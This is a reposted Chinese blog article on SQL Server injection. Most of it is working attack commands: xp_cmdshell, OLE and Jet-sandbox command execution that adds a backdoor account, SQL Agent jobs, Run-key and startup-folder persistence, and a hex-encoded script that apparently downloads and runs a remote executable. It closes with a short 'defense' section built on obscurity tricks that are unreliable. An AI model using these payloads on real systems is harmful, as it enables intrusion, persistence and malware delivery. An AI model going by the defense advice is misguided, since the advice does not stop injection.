正常访问状态! 设为首页 | 加入收藏夹 | 浏览历史  
  http://www.guosp.com
 碧海澜涛居
  海纳百川,有容乃大。壁立千刃,无欲则刚!
 
 
关键词:
  网站首页 | 关于本站 | 技术资料 | 美文日志 | 读书收藏 | 影视收藏 | 软件收藏 | 摄影相册| 留言板 
  技术资料 >> 数据库类 关闭(快捷键alt+C)
搜索标签: 注入 sql server
SQL Server注入大全及防御
[阅读次数:595次]  [发布时间:2012年11月1日]

SQL Server是中小型网站广泛使用的数据库,由于功能强大也滋生了很多安全问题,国内又因为SQL注入攻击的很长一段时间流行,导致对SQL Server的入侵技巧也层出不穷,由于SQL Server支持多语句,相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法,而直接转向使用SQL Server的存储过程和函数快速的拿权限,下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。
    一、执行系统命令

    利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下:

    exec master..xp_cmdshell 'net user ray ray /add'

    xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。

 

 

 


利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

    DECLARE @shell INT
    EXEC SP_OAcreate 'wscript.shell',@shell out
    EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

 

 


开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,但是开启了JET引擎的沙盒模式后就可以执行命令,先利用xp_regwrite存储过程改写注册表,然后利用OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。

    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0    \Engines','SandBoxMode','REG_DWORD',0

 

    select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")');

 


    除开这些,还可以利用SQL代理执行命令,当然必须先开启SQL代理服务,默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。

    exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
    use msdb exec sp_delete_job null,'x'
    exec sp_add_job 'x'
    exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\'
    exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

[next]

二、写任意文件执行命令

    利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。

    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\windows\system32\cmd.exe /c net user ray ray /add'

 

 

 


 
    备份日志到启动项

    我们可以开启一个数据库的完全恢复模式,然后新建个表,插入要备份进日志的命令,最后把日志备份成批处理文件到用户启动文件夹,机器重新启动后就会运行这个文件。

    alter database msdb set RECOVERY FULL--
    create table cmd (a image)--
    backup log msdb to disk = 'c:\cmd1' with init--
    insert into cmd (a) values     (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
    backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
drop table cmd--

 

 

    三、任意权限用户执行命令

    在任意权限的服务器角色下,我们只要知道服务器的SYSADMIN角色的帐户和密码就能利用OPENROWSET宏执行命令

    select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

 

 


[next]

四、其他获取系统信息

    历遍目录
    exec master.dbo.xp_dirtree 'c:\'
 

 

 

 

  获取子目录
    exec master.dbo.xp_subdirs 'c:\'

 

 


 

   列举可用的系统分区
    exec master.dbo.xp_availablemedia

 

 


 


        判断目录或文件是否存在
    exec master..xp_fileexist 'c:\boot.ini'

 

 

 

  五、防御SQL注入有妙法

    1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

    2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符,最好大于100个字。

    3.把真正的管理员密码放在ID2后的任何一个位置。

    我们通过上面的三步完成了对数据库的修改。

    这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。





本页地址: [复制地址]
该页内容非本站原创 收藏自:http://www.hackbase.com/tech/2008-03-04/40205.html
返回顶部 关闭(快捷键alt+C)
评论统计(0条)| 我要评论
暂无评论内容!
我要评论 
我要评论: 带*部分需要填写
 姓名称呼: * 请填写您的姓名或呢称
联系方式: QQ,MSN,Email都可以,方便交流 (仅管理员可见)
 评论内容: * 不超过100字符,50汉字
验证码:
    
  推荐链接
  最近更新  
·Host 'XXX' is not allowed...
·Win2008或IIS7的文件上传大...
·IIS7.0上传文件限制的解决方...
·测试信息2015-03-11
·asp.net中处理图片
·ASP.NET之Web打印-终极解决...
·Asp.net下C#调用Word模版实...
·asp.net下将页面内容导入到...
·asp.net导出为pdf文件
·asp.net生成pdf文件
·FCKeditor 文本编辑器的使用...
·ASP.NET 将数据生成PDF
·asp.net2.0导出pdf文件完美...
·AspJpeg的安装与测试
·JS验证浏览器版本对IE11的支...
  热门浏览  
·IE8和IE9出现“此网页上的问...
·无线路由器密码破解,教你断...
·js替换所有回车换行符
·QQ/MSN在线交流代码
·如何取消键盘上的一些快捷键...
·IE弹出“中国工商银行防钓鱼...
·win7声音小的解决方法
·强制两端对齐的函数或者CSS...
·webdav漏洞的利用
·win7下成功安装sql server ...
·显示器分辨率调的过高导致电...
·js验证手机号码格式
·天诺时空技术技术论坛
·JS展开和收缩效果(二)
·本地计算机上的 MSSQLSERVE...
  碧海澜涛居
网站首页关于本站站长简介开发案例技术资料美文日志摄影相册读书收藏影视收藏留言板
版权所有:碧海澜涛 QQ:410436434 Email:shaopo_guo@163.com 苏ICP备15000526号
免责声明:本站为个人网站,站内所有文字、图片等各类资料均为个人兴趣爱好所收集,不用作任何商业用途,亦不保证资料的真实性,若有因浏览本站内容而导致的各类纠纷,本站也不承担任何责任。本站部分内容来自互联网,如有涉及到您的权益或隐私请联系站长解决。